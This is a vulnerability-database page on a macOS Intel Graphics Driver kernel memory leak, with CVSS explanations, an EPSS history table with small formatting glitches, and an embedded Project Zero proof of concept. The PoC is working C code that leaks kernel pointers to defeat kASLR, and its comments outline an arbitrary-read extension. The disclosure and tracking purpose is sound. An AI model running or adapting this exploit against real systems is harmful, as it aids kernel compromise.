CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
Services & Prix
Aides & Infos
Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
An issue was discovered in certain Apple products. macOS before 10.12.4 is affected. The issue involves the "Intel Graphics Driver" component. It allows attackers to obtain sensitive information from kernel memory via a crafted app.
Exposure of Sensitive Information to an Unauthorized Actor The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V3.0
5.5
MEDIUM
CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
More informations
Base: Exploitabilty Metrics
The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.
Attack Vector
This metric reflects the context by which vulnerability exploitation is possible.
Local
A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file.
Attack Complexity
This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.
Low
Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.
Privileges Required
This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.
None
The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.
User Interaction
This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.
Required
Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.
Base: Scope Metrics
An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.
Scope
Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.
Unchanged
An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.
Base: Impact Metrics
The Impact metrics refer to the properties of the impacted component.
Confidentiality Impact
This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.
High
There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
Integrity Impact
This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.
None
There is no loss of integrity within the impacted component.
Availability Impact
This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.
None
There is no impact to availability within the impacted component.
Temporal Metrics
The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.
Environmental Metrics
nvd@nist.gov
V2
4.3
AV:N/AC:M/Au:N/C:P/I:N/A:N
nvd@nist.gov
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2021-04-18
0.55%
–
–
–
–
2021-09-05
–
0.55%
–
–
–
2021-09-19
–
0.55%
–
–
–
2021-10-10
–
0.55%
–
–
–
2021-10-17
–
0.55%
–
–
–
2022-01-02
–
0.55%
–
–
–
2022-01-09
–
0.55%
–
–
–
2022-01-30
–
0.55%
–
–
–
2022-02-06
–
–
2.36%
–
–
2022-02-13
–
–
2.36%
–
–
2022-04-03
–
–
2.36%
–
–
2022-07-31
–
–
2.36%
–
–
2022-08-14
–
–
2.36%
–
–
2022-08-21
–
–
2.36%
–
–
2023-03-12
–
–
–
0.16%
–
2023-07-23
–
–
–
0.16%
–
2024-02-11
–
–
–
0.16%
–
2024-03-31
–
–
–
0.16%
–
2024-06-02
–
–
–
0.16%
–
2024-06-16
–
–
–
0.16%
–
2024-08-04
–
–
–
0.16%
–
2024-08-11
–
–
–
0.16%
–
2024-12-08
–
–
–
0.16%
–
2024-12-22
–
–
–
0.16%
–
2025-03-02
–
–
–
0.16%
–
2025-01-19
–
–
–
0.16%
–
2025-03-09
–
–
–
0.16%
–
2025-03-18
–
–
–
–
1.88%
2025-03-30
–
–
–
–
1.65%
2025-03-30
–
–
–
–
1.65,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2017-04-03 22h00 +00:00 Auteur : Google Security Research EDB Vérifié : Yes
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1069
MacOS kernel memory disclosure due to lack of bounds checking in AppleIntelCapriController::getDisplayPipeCapability
Selector 0x710 of IntelFBClientControl ends up in AppleIntelCapriController::getDisplayPipeCapability.
This method takes a structure input and output buffer. It reads an attacker controlled dword from the input buffer which it
uses to index an array of pointers with no bounds checking:
AppleIntelCapriController::getDisplayPipeCapability(AGDCFBGetDisplayCapability_t *, AGDCFBGetDisplayCapability_t *)
__text:000000000002A3AB mov r14, rdx ; output buffer, readable from userspace
__text:000000000002A3AE mov rbx, rsi ; input buffer, controlled from userspace
...
__text:000000000002A3B8 mov eax, [rbx] ; read dword
__text:000000000002A3BA mov rsi, [rdi+rax*8+0E40h] ; use as index for small inline buffer in this object
__text:000000000002A3C2 cmp byte ptr [rsi+1DCh], 0 ; fail if byte at +0x1dc is 0
__text:000000000002A3C9 jz short ___fail
__text:000000000002A3CB add rsi, 1E0Dh ; otherwise, memcpy from that pointer +0x1e0dh
__text:000000000002A3D2 mov edx, 1D8h ; 0x1d8 bytes
__text:000000000002A3D7 mov rdi, r14 ; to the buffer which will be sent back to userspace
__text:000000000002A3DA call _memcpy
For this PoC we try to read the pointers at 0x2000 byte boundaries after this allocation; with luck there will be a vtable
pointer there which will allow us to read back vtable contents and defeat kASLR.
With a bit more effort this could be turned into an (almost) arbitrary read by for example spraying the kernel heap with the desired read target
then using a larger offset hoping to land in one of the sprayed buffers. A kernel arbitrary read would, for example, allow you to read the sandbox.kext
HMAC key and forge sandbox extensions if it still works like that.
tested on MacOS Sierra 10.12.2 (16C67)
*/
// ianbeer
// build: clang -o capri_mem capri_mem.c -framework IOKit
#if 0
MacOS kernel memory disclosure due to lack of bounds checking in AppleIntelCapriController::getDisplayPipeCapability
Selector 0x710 of IntelFBClientControl ends up in AppleIntelCapriController::getDisplayPipeCapability.
This method takes a structure input and output buffer. It reads an attacker controlled dword from the input buffer which it
uses to index an array of pointers with no bounds checking:
AppleIntelCapriController::getDisplayPipeCapability(AGDCFBGetDisplayCapability_t *, AGDCFBGetDisplayCapability_t *)
__text:000000000002A3AB mov r14, rdx ; output buffer, readable from userspace
__text:000000000002A3AE mov rbx, rsi ; input buffer, controlled from userspace
...
__text:000000000002A3B8 mov eax, [rbx] ; read dword
__text:000000000002A3BA mov rsi, [rdi+rax*8+0E40h] ; use as index for small inline buffer in this object
__text:000000000002A3C2 cmp byte ptr [rsi+1DCh], 0 ; fail if byte at +0x1dc is 0
__text:000000000002A3C9 jz short ___fail
__text:000000000002A3CB add rsi, 1E0Dh ; otherwise, memcpy from that pointer +0x1e0dh
__text:000000000002A3D2 mov edx, 1D8h ; 0x1d8 bytes
__text:000000000002A3D7 mov rdi, r14 ; to the buffer which will be sent back to userspace
__text:000000000002A3DA call _memcpy
For this PoC we try to read the pointers at 0x2000 byte boundaries after this allocation; with luck there will be a vtable
pointer there which will allow us to read back vtable contents and defeat kASLR.
With a bit more effort this could be turned into an (almost) arbitrary read by for example spraying the kernel heap with the desired read target
then using a larger offset hoping to land in one of the sprayed buffers. A kernel arbitrary read would, for example, allow you to read the sandbox.kext
HMAC key and forge sandbox extensions if it still works like that.
tested on MacOS Sierra 10.12.2 (16C67)
#endif
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <mach/mach_error.h>
#include <IOKit/IOKitLib.h>
int main(int argc, char** argv){
kern_return_t err;
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IntelFBClientControl"));
if (service == IO_OBJECT_NULL){
printf("unable to find service\n");
return 0;
}
io_connect_t conn = MACH_PORT_NULL;
err = IOServiceOpen(service, mach_task_self(), 0, &conn);
if (err != KERN_SUCCESS){
printf("unable to get user client connection\n");
return 0;
}
uint64_t inputScalar[16];
uint64_t inputScalarCnt = 0;
char inputStruct[4096];
size_t inputStructCnt = 4096;
uint64_t outputScalar[16];
uint32_t outputScalarCnt = 0;
char outputStruct[4096];
size_t outputStructCnt = 0x1d8;
for (int step = 1; step < 1000; step++) {
memset(inputStruct, 0, inputStructCnt);
*(uint32_t*)inputStruct = 0x238 + (step*(0x2000/8));
outputStructCnt = 4096;
memset(outputStruct, 0, outputStructCnt);
err = IOConnectCallMethod(
conn,
0x710,
inputScalar,
inputScalarCnt,
inputStruct,
inputStructCnt,
outputScalar,
&outputScalarCnt,
outputStruct,
&outputStructCnt);
if (err == KERN_SUCCESS) {
break;
}
printf("retrying 0x2000 up - %s\n", mach_error_string(err));
}
uint64_t* leaked = (uint64_t*)(outputStruct+3);
for (int i = 0; i < 0x1d8/8; i++) {
printf("%016llx\n", leaked[i]);
}
return 0;
}